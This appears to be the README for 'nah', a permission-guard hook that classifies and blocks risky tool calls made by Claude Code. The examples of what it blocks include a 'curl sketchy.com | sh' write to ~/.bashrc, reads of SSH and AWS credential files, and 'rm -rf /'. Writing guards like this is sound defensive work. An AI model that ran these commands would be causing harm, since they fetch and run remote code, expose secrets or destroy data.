A permission system you control.
Because allow-or-deny isn't enough.

Docs • Install • What it guards • How it works • Configure • CLI

Claude Code’s permission system is allow-or-deny per tool, but that doesn’t really scale. Deleting some files is fine sometimes. And git checkout is sometimes catastrophic. Even when you curate permissions, 200 IQ Opus can find a way around it. Maintaining a deny list is a fool’s errand.

We needed something like --dangerously-skip-permissions that doesn’t nuke your untracked files, exfiltrate your keys, or install malware.

nah classifies every tool call by what it actually does using contextual rules that run in milliseconds. For the ambiguous stuff, optionally route to an LLM. Every decision is logged and inspectable. Works out of the box, configure it how you want it.

git push — Sure.
git push --force — nah?

rm -rf __pycache__ — Ok, cleaning up.
rm ~/.bashrc — nah.

Read ./src/app.py — Go ahead.
Read ~/.ssh/id_rsa — nah.

Write ./config.yaml — Fine.
Write ~/.bashrc with curl sketchy.com | sh — nah.

pip install nah
nah install

You are up and running. To uninstall: nah uninstall && pip uninstall nah.

Don't use --dangerously-skip-permissions. In bypass mode, hooks fire asynchronously — commands execute before nah can block them.

Allow-list Bash, Read, Glob, Grep and let nah guard them. For Write and Edit, your call — nah inspects content either way.

Run the security demo inside Claude Code:

You'll go thru 25 live cases across 8 threat categories: remote code execution, data exfiltration, obfuscated commands, and others. Takes ~5 minutes.

nah is a PreToolUse hook that intercepts every tool call before it executes:

Every tool call hits a deterministic structural classifier first, no LLMs involved.

Claude: Edit → ~/.claude/hooks/nah_guard.py
  nah. Edit targets hook directory: ~/.claude/hooks/ (self-modification blocked)

Claude: Read → ~/.aws/credentials
  nah? Read targets sensitive path: ~/.aws (requires confirmation)

Claude: Bash → npm test
  ✓ allowed (package_run)

Claude: Write → config.py containing "-----BEGIN PRIVATE KEY-----"
  nah? Write content inspection [secret]: private key

nah. = blocked. nah? = asks for your confirmation. Everything else flows through silently.

The same command gets different decisions based on context:

For commands the classifier can't resolve, nah can optionally consult an LLM:

Tool call → nah (deterministic) → LLM (optional) → Claude Code permissions → execute

The deterministic layer always runs first — the LLM only resolves leftover "ask" decisions. If no LLM is configured or available, the decision stays "ask" and the user is prompted.

Supported providers: Ollama, OpenRouter, OpenAI, Anthropic, Snowflake Cortex.

Works out of the box with zero config. When you want to tune it:

# ~/.config/nah/config.yaml  (global)
# .nah.yaml                  (per-project, can only tighten)

# Override default policies for action types
actions:
  filesystem_delete: ask         # always confirm deletes
  git_history_rewrite: block     # never allow force push
  lang_exec: allow               # trust inline scripts

# Guard sensitive directories
sensitive_paths:
  ~/.kube: ask
  ~/Documents/taxes: block

# Teach nah about your commands
classify:
  database_destructive:
    - "psql -c DROP"
    - "mysql -e DROP"

nah classifies commands by action type, not by command name. Run nah types to see all 20 built-in action types with their default policies.

Every command maps to an action type, and every action type has a default policy:

Choose how much built-in classification to start with:

# ~/.config/nah/config.yaml
profile: full      # full | minimal | none

• full (default) — comprehensive coverage across shell, git, packages, containers, and more
• minimal — curated essentials only (rm, git, curl, kill, ...)
• none — blank slate — make your own

# ~/.config/nah/config.yaml
llm:
  enabled: true
  max_decision: ask              # cap: LLM can't escalate past "ask"
  providers: [openrouter]        # cascade order
  openrouter:
    url: https://openrouter.ai/api/v1/chat/completions
    key_env: OPENROUTER_API_KEY
    model: google/gemini-3.1-flash-lite-preview

Project .nah.yaml can add classifications and tighten policies, but can never relax them. A malicious repo can't use .nah.yaml to allowlist dangerous commands — only your global config has that power.

nah install                # install hook
nah uninstall              # clean removal
nah update                 # update hook after pip upgrade
nah config show            # show effective merged config
nah config path            # show config file locations

nah test "rm -rf /"              # dry-run Bash classification
nah test --tool Read ~/.ssh/id_rsa   # test any tool, not just Bash
nah test --tool Write ./out.txt      # test Write with content inspection
nah types                        # list all action types with default policies
nah log                          # show recent hook decisions
nah log --blocks                 # show only blocked decisions
nah log --asks                   # show only ask decisions
nah log --tool Bash -n 20        # filter by tool, limit entries
nah log --json                   # machine-readable output
/nah-demo                        # live security demo inside Claude Code

Adjust policies from the command line:

nah allow filesystem_delete      # allow an action type
nah deny network_outbound        # block an action type
nah classify "docker rm" container_destructive  # teach nah a command
nah trust api.example.com        # trust a network host
nah allow-path ~/sensitive/dir   # exempt a path for this project
nah status                       # show all custom rules
nah forget filesystem_delete     # remove a rule

MIT

--dangerously-skip-permissions?